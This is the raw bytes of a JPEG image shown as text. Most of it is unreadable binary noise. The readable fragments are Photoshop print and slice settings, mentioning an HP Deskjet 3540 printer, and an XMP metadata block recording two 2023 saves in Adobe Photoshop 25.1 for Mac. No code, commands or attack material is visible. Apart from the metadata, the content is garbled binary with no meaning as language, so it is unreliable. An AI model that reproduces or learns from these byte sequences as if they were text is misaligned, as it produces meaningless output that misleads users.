�`�-�S�q���8v�wm�Z����O�#�Q���Ҋ$,�А�?�?���}���
{�+��~�?�LP�<2	�J=PcF�!
�p�(�.0iq��+����,�"d~�%Q����(�����sK.k���b���&��S*ߴ��b�Z\�g�;K]�=-��GR���0�k�s�k?9�0�9g����u}h����l�qY��Pq䖿�ù�r_�����3�$?�~���:W���ّk���������X����Xt�Ժ��:�F�}C�?����w�~g�Es��L|w:�Ym���[��&�t��תּ�ʫeU�����4p�Ч�#[zzY����˫lj11ٍ�ݔ�h��;����}'"����TJ�NTJJ��딂�p�Y�E:Jd��k�Z���)$�E4��}.���g}&�I�(Շ�+/������]��CǞ5��.�Pl�e�����@����*b#X����/���덾�c�cٓ������f�g���۬k���m�>��&�$w�����_�����5�eMpsCG��n�筯�9����@��&�p׸́��S��>���-��������7��%���X�+Ƨ�̺#��0������X��յ�Mf���[z�U~��jsAІ�����7j��z���J�j�������KC�v����C,D�1>��q�$HzMS�ތ��FGX{\��D�m��w�W��1kE���oХ�i���A��E����V~��A���CY���t�t��*���I2��J%:dT�LS��e?���v��}��}��D�K�f�x�� �x��|�J~�����x��|�}����#�L��[� ��<�H��{jZ߳�Q2gU��DG�Z�ծ����{gܼ�%Q�?6^��O���w\��]���`*�@7�t�6�MP?M��I ���3s��������}��$��/ѻY�>��Y�>��I)�/c<Gޘ��#�_:����KY�>�Ō�z��$T�����Photoshop 3.08BIMZ%G8BIM%��}�Ǿ	pv���N8BIM:printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTHP Deskjet 3540 seriesprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM@@8BIMD@@8BIM8BIM=��img2��nullboundsObjcRct1Top longLeftlongBtomlong�Rghtlong�slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlong�Rghtlong�urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIM8BIM��g�� ����Adobe_CM��Adobed����			



��g�"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�0�S�!�ԥ����O)) )nP��.�I)�~D9JRRIJP�B����.�_rD��Ӫ�ꖪg)�(�iKU2ܔ�JR��Lp��M))��Ĩ���T����N
�)�5)O(`����J[�%<��r��W[w����I?�Əsܘ�\a�����=G���U�$�{�6]���1@̎�9�c���ܳd�e�h�p��w���Ѡ~ح���PXg�� O�׽�r���u嵱��g��?H����l�m*�sUl����5����]�k��lr�
{m��s2���:�b�[�+��L���\�5�K�^�r�Xi���v�� ��������s�p��[k�շk�6��6�{��Z�,l��<���9���ǽ������}�̮�zF]U���nh0�D9��^ҞV^h��i��`
�$7Rݵ��ߤZ[�ṇ�xUr��>
��A�̼�*2�TL̥1*2�QS"S�JbR�O���N
�)���!$�5'�7y�d5�������+��b��藶��:�}>�@k-{K��w��챾��s��e!�@�vԽV�m,Ȫƾ�_���?����ob�����#B
�L��}��_Rʋ�V �ŧѯ43󶵎��OMv]!�U�f�9��-.��W���'��ǵ����"�](p�ov=Z�Y�G�]\cv��1��k.Ɠ���w��[��w��1^�R��㵕7̂uڲ,&�$ F����Ꮣ��rKΙ�cۗ�U,!���\@44:ͬ��kX��ѯ���d���j�冲v�c���rg�ge�����G�KO�3r��阸�3ʘ*���_@�����7��3e��ٍ�n?�+YK�����̸D����ݏ��r+������׸�����ڧ����f[����8�/����w��c[��Kܴ3qXο�x'nC�Z@��\���b�������w�:����i{�\2��	W��pN��(a$ꐿ���I����lv�8{� :7cv��=kt���8���4��r��?@u����V�OynF=��X��h�Ø��s��o,H�|�б���X$����,/hn[�1��p���g�j�,��G������.m���qd>��~�����X�~OQ�*������d2����ӌ��Ͷ۩�?��YS��*#M�ٌ8��)��1+��ǎ��?No������ݫ�SC�nǧ��j}vY�����'P8O���D��Ħ%?���N
�N
	q��Y�p�}}g�\�2z]��m>���[VEwU���c��H����E�3��a�uFc��S^ܣHs�^X��)5���k��Zv�]��E�uW1�X�e�i���.c��,oGάd�AmaĖ=�?�Rm.�n��;���C���.��U-ƺ�ݴ����1���s�m�{���o��A�]�:�l��x���-!�ٴo�\]=jK2��U���8��ӽ�$ՙQ|9��-�c=���M�����?H���+�b���F���`y-n���s\�+e��[��t��n��[=Z�nnMguWy�X��YNi� �������GS��L��n�5��A,aw���z����h6t:^\[k��412�D�������@Һ�9�^R��5����da�1�W^,m�Z^~���5��M�Wr.�r�$�)���]���W��/����C�;�����l�I�/�.nͭ���O��8�t�#����$��x�V#�]LZ_�YS�����bۼ:C�0�O��|�k1GTȽ��d�̡�x%۟��o�X�����Kk�A��������
����jh�29�c�OL��>�O�<G�Dc>�C[�<�O�Y!��!��K��\�tʿJo��\os�yh|�����3��ݦ���5:CA�`����^��ձ�v-�S��d�T\�6o����z��Ro��$����S���d��a�>�;"�t���-�ǿ;*��)�~�(�9����]��~�����sC�[�V�[}����״�Ӷݟ�;?�-l:_H{`���K��^��e�.k>�_����b'���sC1)q~痴�ﳷ�ڷ9�}o�?US�lj�Q�����:
�Z�=<�lp��u��]e^��W:
��#����? }�2�Is�Ka���G��8��}����o�|���t�+[k�$Ta����mkK�S�[][�\���2~hF6<Rek�JD�%=k���%<��	�f
�����1��wV��&;���� ��h[��n5���6�2Clh�Ҫ�t�
�?���~[7��I�S�7m��};?�����W��%�<�Ӻ���r����x�;����)����>��?��dj��;/�n�X�Bϫ���2E:���c��5�[��k=Z��5���͌�y.G�Vv�f�\�
�`�-�S�q���8v�wm�Z����O�#�Q���Ҋ$,�А�?�?���}���
{�+��~�?�LP�<2	�J=PcF�!
�p�(�.0iq��+����,�"d~�%Q����(�����sK.k���b���&��S*ߴ��b�Z\�g�;K]�=-��GR���0�k�s�k?9�0�9g����u}h����l�qY��Pq䖿�ù�r_�����3�$?�~���:W���ّk���������X����Xt�Ժ��:�F�}C�?����w�~g�Es��L|w:�Ym���[��&�t��תּ�ʫeU�����4p�Ч�#[zzY����˫lj11ٍ�ݔ�h��;����}'"����TJ�NTJJ��딂�p�Y�E:Jd��k�Z���)$�E4��}.���g}&�I�(Շ�+/������]��CǞ5��.�Pl�e�����@����*b#X����/���덾�c�cٓ������f�g���۬k���m�>��&�$w�����_�����5�eMpsCG��n�筯�9����@��&�p׸́��S��>���-��������7��%���X�+Ƨ�̺#��0������X��յ�Mf���[z�U~��jsAІ�����7j��z���J�j�������KC�v����C,D�1>��q�$HzMS�ތ��FGX{\��D�m��w�W��1kE���oХ�i���A��E����V~��A���CY���t�t��*���I2��J%:dT�LS��e?���v��}��}��D�K�f�x�� �x��|�J~�����x��|�}����#�L��[� ��<�H��{jZ߳�Q2gU��DG�Z�ծ����{gܼ�%Q�?6^��O���w\��]���`*�@7�t�6�MP?M��I ���3s��������}��$��/ѻY�>��Y�>��I)�/c<Gޘ��#�_:����KY�>�Ō�z��$T���8BIM!WAdobe PhotoshopAdobe Photoshop 20248BIM��
�http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="5D3407D25330A1FA01B45FEACD5C5844" xmpMM:InstanceID="xmp.iid:538b35a9-cfa5-4860-93a4-807bdb565917" xmpMM:OriginalDocumentID="5D3407D25330A1FA01B45FEACD5C5844" dc:format="image/jpeg" photoshop:ColorMode="3" xmp:CreateDate="2022-12-01T17:59:50+05:30" xmp:MetadataDate="2023-11-13T21:32:36+05:30" xmp:ModifyDate="2023-11-13T21:32:36+05:30"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:ca1090ea-9c39-47a4-867c-09ca1bdcb342" stEvt:when="2023-11-13T21:29:26+05:30" stEvt:softwareAgent="Adobe Photoshop 25.1 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:538b35a9-cfa5-4860-93a4-807bdb565917" stEvt:when="2023-11-13T21:32:36+05:30" stEvt:softwareAgent="Adobe Photoshop 25.1 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��!Adobed����
����"���!1 A0"@P2B3#4$`5	!1AQa"q2BR ��br0@P�����#��3S`�Cs�c��ã��$4!1 AQaq0@�"2BP��Rb�r`p�т�����"�)JTU�UTƁ���*�K��#(h�XXE�bB�`���Y
�� ���j(H��3h4�b��XIr�E�(A�*��eͣqqEQe�h�IXRR�PXE�	f.H�Ă\�Ң�!)jPH�4��$iQƁT�I`*��"�"�h�)
��3j*��H�IU(�hPT���"�R�ͨ�"2cJ��FH���ۈ�F�D.(��aV�i,�	V��(���	P��4*��*
���2��K3���U�*�T1�DTUKER�T�ќ=q��������~u���=k��3�"5PD��X�@X
���TEKPT,,UARБETUBS"{��^~�a�^>�񉟞����#�k�����z�e̙�f���{��2�l[
�������U�%U�Yi`��`���"�����4��f8l�zp��~���k|ko�KW�6��]9���|���Ρ6�0�ǧs�M�|�q�/o+�������e�;�-�A@A����ZFmF��P�PT(�UPP,2�/L5�?~F>����f:�Z�Ϯ��v|q�6wy;Xn�]c��W.��K
��&�5����5�_��5����z��g���@@Q`D�E�m@��R���F��ET��TPEDT<���K�ϯ�ͭ�ߗGWW�Szh���zks
oL���ԓ��kh��_�Wg�{]O=M��>y�S�]��\��۞>�=Tg�h�����h
 EAR�KR��TUAQ��Z��\zq�-�]|5���jlg�w�^%�����/��8�pc65�?���z~G/����<�};r�j�s�����M�]��y��AaDEET$Xj����U-�,-FTUMh޿=�X�Y�{�mj%,��;z^��~Wx�_�WY���s�~~��ӏ��SZ{|����}?���Xm�{<8�~��G������;>~�7��~���i��댘��sw�Ӥ���	n[<�__o
�ҟ5�&cY�
"����
��j�*Yfx�����{Y��A�y׆އ�=�K��ǧS��?kߍ�\<}�5�z=���=0�SG�ǯS㾏�ö��[c�_��s�}>=���:k�8�͜>��l�����k>��/L=#Ҳ�=<�]�Mm�'�f<���.�������n�k�~�w�r���᏷&��D��J�����~���ӥ������5�q�Ξ�^�]���Q�7���k��^��<�>���|�zח�q:�/g#^�^}�=|~��ᵫ��v��L8z����/W���/�N��?�Ƿ˶<��p�E�����7������O�����8���}w�|�c�����ю�@,%,�"����jm���8�m���a�>~����njl{��:�>oA;�z��5��cG{�ӟ�8_O��5�&6k�]�>���v�G�������������'C��}�'�����t��}����r��{|�^�yK����&:tw��/���No����;oSvkWs+.�/���\���x����7��&�BPYD�(�TE�ϣ�?9�����gc������z1����睵��g#�8���L�_��1��n'�O���\3�x��X��r�|}\n��O>y��wL����yo�W��{�c�����}f��ϥ����|�G�^�G���_.�>��~/gK�9ܮ}�{Y�vǗKO��ϯ᜻;<
�=>�������ѻb�Q@�"��`)eX�����?E���k�������9����nn7��N/�r߾��|��t|;����z<�Lf񗯍���yr���ɼ[������:���ӡ�jt2��/W���c
�,q���{s߷G�����s>��Ƿ/�ow�;ۖ�C.�NvY.S���?��p&���7����h�ͩl��=J����y��=+�.�GY:;<n̿%��|�:}K�;�x����\�w�̷��˂�h����jja峌��<=�
K���9�x{gl��v٦�o�\�S}tw3��]�y��������c�0δ�y�k�t%ku�ӕźd����f���!BEF�"(�*P)`��߯�8n.ŝ����ٍ�rcK��U��urξGץ�M��Ѽ��׈�a"�|��\�eχ�ׅ�{Ou�nY|2�K-��63u|y{�����ss�.��M0��.��ֳ�����j�Xy_�3ٖP��"C!R��TB�IYq�?]����䝏��޵v9���fo'm.WWϫ����,�g����xk�����: (�Ǿn[����G�Lz5��:���a��Z|ߥ÷-<9^~�xs���w�~�(BX@�jV�P��A%K(.�,eR��lc�)zE�����'�矗���ߦ>F���q�l=~m,6�yz�@YqB�*
�ŗ�gL�g<e���/�Og?�����;�v�hzy�{k��zl��a@!�R@E,EJQ��x�t<�nv�|:����q7��G�Z�{\�iϭ��ϛ�����}57<�M+�^̆��=�w|��ώ1�,���[������u�g缺����m�m�����;q������P(�DR��K����Ӳy�h�~��ϗ�jszr��o��^}��|�����婽��c����XC�ǧ��>=�xi�u�疶����/��w���_5�&�[��^r�yE���@PB�)�@d,YPZ��Xʍ@�Xҥ�3G��[�l����^_Y�鋿�{�����7���I����z�"��7��~ۚ��/�ng�_Y�w6r��I�v�3��æ%�H
J�!,���(E,�������q�iM�~]0��ˮ��1��޼{>�����>k���J�ntK�f�˧M���w�������c�\fγ�]�Xk!P@h %���R����P@UKjo1���ǮX��8���y�=yY�|۳NQ���>�|n��o;޼���7�G>�c���zvq�2��c�<sN��PJ����4C ��J-��T,��4�`X����O�>��y����o;E�a������χ�89���-fy{jT��z������*5�,��RX��(��͋5%%��[0f1d�YnC�\YY#��.Eŕ0d�YY[1��Ő��k�'�|7=��7�&F��M}�K���'�}/�s߶>�Y�nF�r��L��Y+CC�1d0f�V\��f0f�Y+���1��r�f�є�2F,�`�b�b�b��e�%��.6�D����1�U�g�Z?���y\���f:�z��Os��;��|�w���y�g2<q�ƾ���cX�w�ˊ��,���ڸ��%��K��0gY,�f0Z��Y�9�W�o�����'�ĕ�k�!�l�M��k�&��Ē��Ig������Q�s�����$��?W��~�E�|_ʳ��|��3�}��̥�#�o?�q�]������̾E_W�ˏض�o�?o?���Q�m�D���'���K�e�H���/��1�k�%��?K�c�4~�M_�_��[�F��s�Vo�O�Z��?G���1@���<��L�%
�G����%��ˍ8\�V�2m9�ɟF)���r�
\�Џ�}�N�G�$B;���s�.���Ɋ.���%�ЄFÎ�Hp9�����;#�;���g)��
����8^A3�H�'	�p�/ �[�:p�Dl��@D&@6���/s�%�'	��ы�7N��8N�C'N�љ
��^2!�x���G����&	�oK�ɔ��D
#v���f@�I@h"�Pb��ďAw<��Q�ƻ���0m�ܛ�B�����cS�"���	JU�fAY:�_����G\�����S��&��@�c�IQ��Q��\#�Dy2
U�� bG�s%$�tK.Q)��u��r��:��(��r�(�d�� ���I��t"�t`�HD)ĸ�B
���d�w[�:%��	è� �-���VD&G&B �V
Y5ؘB!Y�|��HN�:� .t;�	����e��c Te� �
���l�Y�)�<h�W����1�x�������h�$��6��wu9AɈ����A8Y2�>0�U�v��7O�b��	{�GdT���,@�����!�"BJ�G:L�3�"E�C
!��D tʗ���T�ƢM5r�b�`�J(�3w.�2��e�$Z�5(:�n�B��/�N	��q�ԫ�n��8C�dŸ��+���1ʭ�m�x��k��hy*��q��ju:�M� �fN�:YS�" �8�wrDd��d�*��B����l�TNy5J��c�B�24%L�~�O�1=�D��
?q�9f)�b��(��a�8�n��BH���JB	Ԁ���J�F��
��)odʐ�P&Ex�Ą�0Lͣz.�9[�8,�7"����X��:�y"��6_*3%0��A@0�jBdɊp�1[��|�M���d
R��$&B�
��JK�(̯"�� �тm�j��&)���o�;��ǒ"ʌ2"@��b��g/\Y���!J���T�q��b���.œ�!�	�<��R�@U�'�5䐞F�1ъd�1LT���:� EJ�IB�L�B�e"� ��%�S��
� �n�}��[����.�H)W��(��Q&�0��"�s伂2@���)J�	L€�g:���1\jP\���[���t9�s�*pF$͐ �S�2R�QT��Q�ݴ,���T)
 K�M���
����]q�^���'�iΤy)��,��E��F*���*\0�p$�ddJ��lP,�І@��@��8Ѣ�.�#���:�!4d�$�W@D��@B$YT�!FZF$�(� \'D'^璇�/�1A#�(�@"P�Q�WP�@h�q��gQ�0@�!Ӣ� l��+��%���xQ� �2%p�р&_ R�a�2"~ay��$ �
�C���!�^��Q�>!����:G�����<�J<�x���{�
Ƿ������/tQ?ŋ�LS��s�� �u��u<C����(!��q�xC���7��.CIp^��C�8��i�p8�<{G��x_���@���}�`����dɓ&��A|�4&��5����麕�]3/6���כ�,�0G��-����2rYJ��O���bwUc�G�(s�]:��v�|�*St4v^O�f�B^&QC�6��m�)d�t�M�Yy'N�BA���}�ޏo�a�����]R��[�(��"1&�Q8'Aʣ�&L�7���Ă�i.&t:�T�$�L�4��L����p�r�H7�t���P�2*Qa!��@�����IyF�x��fMlq[� ��A�
�<�o0Ґ�6����B!���o#����i�>v�] '^3���$�7�<DmQ�x@�7�!�	��t�>�1
$�Fl��Gb��D#�͇º�	��6	b��!�vW�4E��⸈��	�`AS>R!�dɾ�Q(}�ɴ��q#�)��;+�� *��aF�U�8L�7Q)��Ÿg:�(��0&\�	1��
�?M��D���YJ.<���tb�A��ŊS��!#/�Nr���vNI�@*��$MH�)�N
%�t��oX��r�'�%
1!3hW�CFt"J�F��9���H��'��jɵ�"�h��W�j�F��kt)U�8 ��.4���u��B��Q�+dA����e;\�q�H��V��#�o���LT�*��&~Ju�e�t���Iz�u��.a��D@F;{��e��l��BL� ą(�!9AB�T�*��{h�Dx�D'N� I�9�}��l�[-�<(Ȅ$
�]���fBأ y�ָ�!Ԧ"R1�
0[)�_շ��PHQ�(�Q�`B�V��@Ex���S'^~���h4<��3��'!y}�x̝	dg7��K�IHdJm8�{{{���hy��D! t��D&A�b7
V#���
���<�oPC�y^�W\(̱���b"��^*'��W��^���4<����AƑ��=�;��y�W���q�A䢟_d8�s?�:�
+����hQ��B��C��A����R��'�a������'	Ǥ�9C����EG��8^��4]s��:�;����t�<�����8O���{�� 'NB{��(��@�{��p�ם�N��'\���������O��< ��[ ����Q�j}���Dl�PN�>�r�G�?w����?�ӧ������ɁН��(�N=�@�{�}�
�N��:�t���R��N����(��4v���xN����4�G���+�K��K�uAӧ���5݆��U�;j����<>��HwD����Jd����@+ن�3�z�:t�9NS��n�?���W�'�z[��7�����:���S��9NS��9NS��9O�ɂ`���#�G�z��dQ���A�I���8N����.uӿ�d>��|v*�F^*3@� $`�J�$$����ͷ�3���p�'	�p�'	�p�'U�d=p���a#+�2�ڼ�L�n�M�&3�g3�D���ˊ�2Q��F�{ԣX2�����V�D&P�5���/+��a*���܈�T��P*�A�&5����mer���'Z����k��8N?L�Z1�ّ	Y+����#)Xce��Stb)�q�]�*�2�5�M�FD!f���HN>?�m�"fs3*�.��1�&{Q��Zv�D��̉�F��Wcl�眢
�J��4�A�Fy,,VW�mR�ȫ&2'�O�dɿH�F�
���5���TWU���Ь�B�ˤ �WX,�Ȋ�F�"L�+��#]�1����k�^4d�%_
�[(���Z2���[-�߰�$%��&�q�-<哕�W)W��}�Ů�+���g3��:�eVU�mP�#"V�Ș�t��k�F�(�My���r2��ώ.9��AS���\���02S�&�
���&�L�l�Z�ʔ�ɘ�䅳
S2U�.~7�L���6NC�J@�=����]�ʼ��a�wxyeUќ6�e�}��u���&~0&6D�z�o�UddSUdA|��μ���aw_%lp櫉������(�vU(#w_,�o0�u�T�Y�ae~5����*O"����1�'u�쑳"��ٖڥ"Tm���BeFhH(�Mc��v
n|����"`ee�Tc�3&R�����Fɻ��Ͷ�U��"F���B!������\��U�$!fU�(�P��S�TU^I���]¯��'���/n\�ÓB��LI*h̢U��Xs�ܓmt�n�2�N��a�dE�b8s�jѿs}	g�>w�B��p��'l�/#���66���dqzJ�c��q1�8�fu��'�=��LY�[���W�u�]�u�G?�ST��25!]��V
�Ux[N���q�r��)��u���~�T��m&��L�@F�JY���ᐸD��$;+@'��.����.�[���>���̜�ġ�>������W{}�FY�\+��(>;��QY.h�@��!0��e�A����m��8�e����L/�;�-�יxţ����d�蜣�!����2yL��	�m��A�OU��a�9>y���+^7]0qE.�fK��E~Dv��a��7��t�9��l5B�&D�e�]���1�"�t���]����R�*�c}?���c�q�{1l����3X�gg��u����ur�ft�K\��l��f`R���vD�u4�M�
q��tu�dߕ�J��+ �3���+��R_��
k_��wߐ���,��#8	E�|qȍ�O�"�;��p�=�>U��VOga�g��9?.
D�rY�b�~���W���ݏ[��v4_Dld%��F�<q�H�3�E�Ȝ�_ўC?�h1��_%p��1�
:�sF{wNj�G�^�@HecN��H"�F�k�r�X�wȁ5�D.�{߇�(D�n���Fڤ�\S/�Ī���U)yty��05�i��.�W9u��be*��c���p�2;o�T�4�_��s�Ʒ��&�W���4u��.�~F�Uu;z�s~�6Dz�yە�d�k0hGp��D����;i���6WW]��0������}�6U�_��*�e�˭�3�z��21��YL�0�Ftb��|L-�i �*�cf�|W��ER����~<�ɨ5Ϭ�C��#�Wk�e�~O����Jr����r�4ߑn���e��j�*�9Q�d�鰎=z�ͮB4ْ{n�@���!��6���޷�56H�t��dD቉X�vDW�1������ˢ���X~%�\'�۟)dX`�"&f|aD��1�%�w�+FM�xw15�n1���9�msO���h��Q���M��X�H~I��ݞU�\k�&��b���.��s�*˶�F=�bϥ�?A�:ȵ2*��pz��!���*��o���!��^�B~AHY�eݍb��0ʌ���T2�1���a��%���"�U�C� �����_8�hĮ~h�ӺV��NETb�fJрeDctl���'#���r�^��;�8�Ўo�=\s�wx��~��|�u��NUY4FK�ǰg��<����f�ds1�=����A�ћ�D$��\�ȶfB�'�@��;��%&���c�3f*���e��J��ˤc	yfL�G���w��P���=��:�����[�!�s]B�9O`�q������W^]�Jg�||y��!��Y�ݙ�𪎚�;h�G?�������!��O��ɉ�a���L$%��yN6~G|s:��x��X�)��w���r0��ȋ�d'������32�#����ڼ�ooDžef8f'��!\>XB������FF
!eK��r~,�څ��mS��'�]5g��K$Я�/ ���̀�p��ۡTj8�V�U5�w�VY�����/;�)e4m���O_��܏ȩ]i�q��U}�y�˦����~�#XҪx�����k8ݧk;�配�H�q�V�H�|-�Mg�]W��Zg_O�_T��RVC�K���9We$�!T�q虖.HRU?�f?����˭���ħ=�`�x�R4M�O�q������e��8�Yl�S�L�2�jʇ�3��QA�n�i�2�#d�\�!��u����b��
��&�������k����$��,����<#}�+-�]7lD���œ�����ó�O��_a�g��ij:9tb�FmC�lc���^Dl�%���BS��]U���dL$s����(�1��D,�W]S��e�Ð�c�ۍd ���y=ş읲�/a���^�'��n;���vW: ��K�z��+k���rg8�+�����\�j���@�m8��dC;�]�`!��\�6c��nE�D+ls��ѓ1��*;�{�%�7��m_�"�9�V0���ϲ�Qk�w_�:�1�ú�Y58K9��;#� c�{޻���R4~;~5}�0G�k&�MY(�L��,�qȌ�Ħ^�.O�"�c!Z�Ǒ3&Q*��潤�-ь|\#(,�8�Y3��,j�Tg,�i��q���d���U�p���l���l����x�[rce�Q�Öe��y���VW|��ņ'�m��U�da]U�Uk,���T����'���Q�	Yj�(�E~A�m"�h�*�Ʀ6J*���L�Ǻ&1��]s��g�^�Œ� ���
!a@:0sYVA�hƐP�Jx�|�*ŕ��+��a�t�Ux(�g)K��%Y\��p,�K���j�����k�;O�p�M�v9᭵Yi]n6NnW����eU��]�&�H=}u眮��18�mF�a�Q5�Vx�,��m?ٜ���4��:��a�<l�<�N1�V~1t+�[���Ż�8�JvQ2��0�vF�Q�1��Fue��"f��lq-��_�i��b�E�b�c�{<,#Ow��;n�5�����}�ئ��g�,�Ĥ����1z���u���_Ӷ��,\[���ŧ��v]tr�mr������O�坚������H��}�]Ν�R/TXA��d���yVO�Ɯg�Ѯ�� ��L2�H��J2�)LW�e)��ŲW{GxA�+�}��*z�$��5��ӑa�����PÂ�f�u���
0~Dp1�v�vC7>YQ�j�nʻ�
]��G"���so����Daf>.Lrcuf�di�9��~��E�x���B�����c���i�S'�`~�X�c���v{�F%���-�gU�
"�d �|DN>D.ƺ2�Ɇog))g]e���)ϭ�k��y���J$)EWs�|�a^5x���)��쌹�N��((�2]��?8�P�d���W��%�E?���FN{^���J@��N0������+,Q���[��1�I�ǎ.^u��-Nd�\�,��_�,޲���Ι1
�H#��O�>ک�0�U��Q&s����9�{������O��{G���O#����D��U�J���D����#ۻkl��S��mȞX���'���a[�2L��p��r㴄��U�	#��P��HJ.����'�4��@!�Y��c]1�
�1��? ����c���R��ȕ4UD?D����[ˮ��x]U�c;��F�����I(,n�&7E�odH0C�&-�1S�D4��G������B��+��Q9}�64{?ȭ�N˲e��y�z�0:��1��h��5	ȁ!���toÿX�����+�5�(�d	 c%((Y(� D�
���?VR�V@�`f�̈�D�+/�S&����wĬ��o�7_vD�:���51ǣ�����"uHcWts��@��������NLE�&���|J-!�u8:�4�~�Q�l�Y蘁<��e�b�쪢9����B��Ӫ�bEB�/�u¸��ep�6BtHQ�����h�ö�Q�eG��	(�Uy�*�c!��*B�>�̉���V2�*1Vd�FV�r���0�"˥���|�p+�l���^��~�@��U(LH:�Įљ�J�)8݄�h���n14f���@���L$'�d�#�K �*ܒT�%J�Y9��Μ�*��a�*�aTIS����;�\�n�J���+�d�N�U}�K4I�#"W��cld�W���\,�ܮ�D�J��^z���,^�v���`�^R2�@��v<mGʹ�Wc���2�v�,��U:
%t�H�{~ZO�2ߏ�L@�M;$W���ꨎga+
X��,N�1U�ã%��U0�?�N�6Ue*2:��2��+5e_�,^޹��;W�ϲ�9�Yl A�)�l��������#*J�gp������Ta�X`*SU�+Tb"?y�x�w	ԡ���E�u�J���s��t��BYV��ʵ�&GݠY7�O��?�fy�dK���쬙c�vXq�k�"��)�9S� ]�|��Z').�IW�#"�;0�i��;%����#/(������k�{g�VV>�QMx�(�:$]6\����☡$f�̨�g���D<T$�M|�̙c��g��E�+$��,���5��ȓV/��Rʡ`�`d];$1�ƣ��*A�4l��k#:�d�*�N�#$)FEN� i�8w���+�c����ո�9����Yx�euh�K�Lj=�Uæ��.�ML;l���fgVA����J�&Һ�-�g?X����FL�2dɓ&L�6��2d�ɷdBdɓ&L�6��e��}q(�)�������!-��6�L�B�,
�#�2dɓ&L�ٓ&L�L��22m�2dɓ&L�2dɓ&L�2dɓ&L�2dɓ&@&M�"&L�2d̛v@,���7���(�`�s��z~I&#��� �bmu_u,�2dɷd#fL�2!2dBd�ɷdɓ&L�2dɓ&L���2dɓhɓ&L�L��2dɓ&\(��6�v;`Z?�m-"�c��2x���h(�$�
���G�
�&@nɷd�l�2	�	�"&@&^�2dɓ!�dɓhɓ&L�2dɓ&L�L�2dd۲dɓ&L��-�	�.��=���(`�\�,^m����}�m �����۲d�v@lF�l�
��&Dlɐ�m�2#FL�ɓ&L��A�Ou��<�}�)�:��*
|O���9����_�q-"�T������Q�<���p���A��zG���?ɒ)�.����{����:R�:�Y,�rFk�L�d�$��uU}�A�S�P�������,��t:h�U’�:.O�"�R�I��z
����(��i�����}(�	T�-H/E�D�8xHT�L�3Y�QO�i�&tJ�JJ�[j�ԕHd�JӃ�rD�ԽOJ��=������2�u�HD��Gb帐�i�_]��`�'���q8�)$��!���2��+*&:C�?���iV]0`�?���.�PC�bc"e��5��u��/�KɃ&uK$�<�ArsK��K�
�'s�>�~��cs=�v��[����K��B0`ƈFOCҗ;
�ו[��Ӱ_m{TM	�6����nU�'����
������s&�p�w�K��n���Q=$i�1��O�]��3tr-��͑�$��-Ȟ:�ΧdO2u���ql�ct�Sa	�n\Y��?v�C6�3�S5^�ǵ��y�)-H㥷�{�16�����״۽}��z�{�w-���?���)�q��M�$��o���8���[g�5�qf�����CI|W��6��L}�o�K������2̳,�2~�BE�F��C��>*��I�/����X�rMn=�b�2d�'G>���gNt�O6O&L�xS?����Ʒ�������嫚w?��Q�	T�f�~m�Ѝ�D��{]����/��v��d���#i�l������f��[Vud�#z=�1H�r�w����2d����΅���D���E"F�a~g*�a�9:���t?���,�n�'qmYcT��G�r]z�.X�Z��]nBˤ���Q=�JZ����f/�zӥzV��9�g�/T��Ғ�+^��һ�S�
��,�e����ɐ�\�HgJJ�g:mK�w�
�����]W}O�ЇK��C�-�������˖1K{��0L!���$z'�=k�.�C�>�!Q>�6��.4��-/B�[3?���ɝ(}�ܽ$T�л�Fںz
�D�8�>�q���=����WOAQ�֫��?�����.ȒηdI��,����1[|L�
��E�fA4�_�A������ҡ�q�Au��>%�!5�T���D���[��Y�~�Y�r�x���7'��
